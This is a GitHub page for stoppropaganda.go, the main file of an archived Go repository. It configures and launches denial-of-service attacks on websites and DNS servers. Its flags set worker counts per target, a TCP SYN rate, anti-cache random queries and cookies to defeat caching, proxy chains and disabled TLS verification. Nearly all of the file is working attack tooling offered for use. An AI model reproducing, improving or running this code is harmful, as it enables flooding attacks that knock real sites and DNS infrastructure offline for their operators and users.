This repository has been archived by the owner on Dec 25, 2022. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 71
/
stoppropaganda.go
108 lines (95 loc) · 3.7 KB
/
stoppropaganda.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
package stoppropaganda
import (
"crypto/tls"
"flag"
"log"
"math"
"math/rand"
"net"
"os"
"runtime"
"time"
"github.com/erkexzcx/stoppropaganda/internal/customresolver"
"github.com/erkexzcx/stoppropaganda/internal/customtcpdial"
"github.com/erkexzcx/stoppropaganda/internal/sockshttp"
"github.com/miekg/dns"
"github.com/peterbourgon/ff/v3"
"github.com/valyala/fasthttp"
)
var fs = flag.NewFlagSet("stoppropaganda", flag.ExitOnError)
var (
flagAlgorithm = fs.String("algorithm", "fair", "allowed algorithms are 'fair' and 'rr' (refer to README.md documentation)")
flagAntiCache = fs.Bool("anticache", true, "append randomly generated query and cookie to disrupt caching mechanisms")
flagBind = fs.String("bind", ":8049", "bind on specific host:port")
flagDialConcurrency = fs.Int("dialconcurrency", 10000, "number of cuncurrent dial at any moment (from fasthttp)")
flagDialsPerSecond = fs.Int("dialspersecond", 2500, "maximum amount of TCP SYN packets sent per second (from fasthttp)")
flagDNSTimeout = fs.Duration("dnstimeout", time.Second, "timeout of DNS request")
flagDNSWorkers = fs.Int("dnsworkers", 100, "DOS each DNS server with this amount of workers")
flagMaxProcs = fs.Int("maxprocs", 1, "amount of threads used by Golang (runtime.GOMAXPROCS)")
flagProxy = fs.String("proxy", "", "list of comma separated proxies to be used for websites DOS")
flagProxyBypass = fs.String("proxybypass", "", "list of comma separated IP addresses, CIDR ranges, zones (*.example.com) or a hostnames (e.g. localhost) that needs to bypass used proxy")
flagTimeout = fs.Duration("timeout", 120*time.Second, "timeout of HTTP request")
flagUserAgent = fs.String("useragent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36", "User agent used in HTTP requests")
flagWorkers = fs.Int("workers", 1000, "DOS each website with this amount of workers")
)
func Start() {
ff.Parse(fs, os.Args[1:], ff.WithEnvVarPrefix("SP"))
log.Println("Starting...")
runtime.GOMAXPROCS(*flagMaxProcs)
initWebsites()
initDNS()
startWebsites()
startDNS()
log.Println("Started!")
panic(fasthttp.ListenAndServe(*flagBind, fasthttpRequestHandler))
}
func init() {
rand.Seed(time.Now().UnixNano())
go tcpSynDialTicketsRoutine()
}
func initDNS() {
// Create DNS client and dialer
dnsClient = new(dns.Client)
dnsClient.Dialer = &net.Dialer{
Timeout: *flagDNSTimeout,
}
}
func initWebsites() {
// Create HTTP client
httpClient = &fasthttp.Client{
ReadTimeout: *flagTimeout,
WriteTimeout: *flagTimeout,
MaxIdleConnDuration: time.Hour,
NoDefaultUserAgentHeader: true,
DisableHeaderNamesNormalizing: true,
DisablePathNormalizing: true,
MaxConnsPerHost: math.MaxInt,
Dial: makeDialFunc(),
TLSConfig: &tls.Config{InsecureSkipVerify: true},
}
}
func makeDialFunc() fasthttp.DialFunc {
proxyChain, masterDialer := sockshttp.Initialize(*flagProxy, *flagProxyBypass, *flagTimeout)
if len(proxyChain) > 0 {
log.Printf("Proxy chain: %s", proxyChain)
}
myResolver := customresolver.MasterStopPropagandaResolver
dial := (&customtcpdial.CustomTCPDialer{
Concurrency: *flagDialConcurrency,
DNSCacheDuration: 5 * time.Minute,
// stoppropaganda's implementation
ParentDialer: masterDialer,
Resolver: myResolver,
DialTicketsC: newConnTicketC,
}).Dial
return dial
}
var newConnTicketC = make(chan bool, 100)
func tcpSynDialTicketsRoutine() {
perSecond := *flagDialsPerSecond
interval := time.Second / time.Duration(perSecond)
for {
newConnTicketC <- true
time.Sleep(interval)
}
}